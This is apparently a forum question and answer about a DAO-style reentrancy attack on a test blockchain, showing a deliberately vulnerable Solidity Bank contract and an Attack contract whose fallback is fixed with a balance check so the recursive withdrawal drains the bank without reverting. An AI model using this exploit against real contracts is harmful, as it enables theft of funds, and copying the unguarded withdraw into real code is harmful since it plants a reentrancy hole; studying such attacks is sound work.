I'm learning to perform the DAO attack on my test blockchain. However, I don't know how to avoid using up the gas so the transaction is always reverted.
Here are the contracts:
pragma solidity ^0.5.0;
contract Bank{
// put money to the bank
function deposit(){}
function withdraw() public {
msg.sender.call.value(10 ether)("");
}
}
contract Attack{
// setter is omitted
Bank public bank;
function () external payable {
attack();
}
function attack() public {
bank.withdraw();
}
}
I'm using Solidity 0.5.0, the requirement is that I can only modify the body of Attack's fallback function, can someone tell me how to fix this?
It's like with any other recursive function - you need to create a stopper condition that will stop the recursion from going on forever (or failing the execution because of insufficient ETH balance in this case).
Let's say your Bank
contract has 20 ETH. First execution sends out 10 ETH, second execution sends out 10 ETH, but the third execution fails because it's not able to send another 10 ETH (it doesn't have them).
You can fix it by updating the Attack
fallback function that is going to check whether the Bank
still has 10 ETH to send out. And when it doesn't, it doesn't execute the attack()
and effectively stops the recursion.
function () external payable {
if (address(bank).balance >= 10 ether) {
attack();
}
}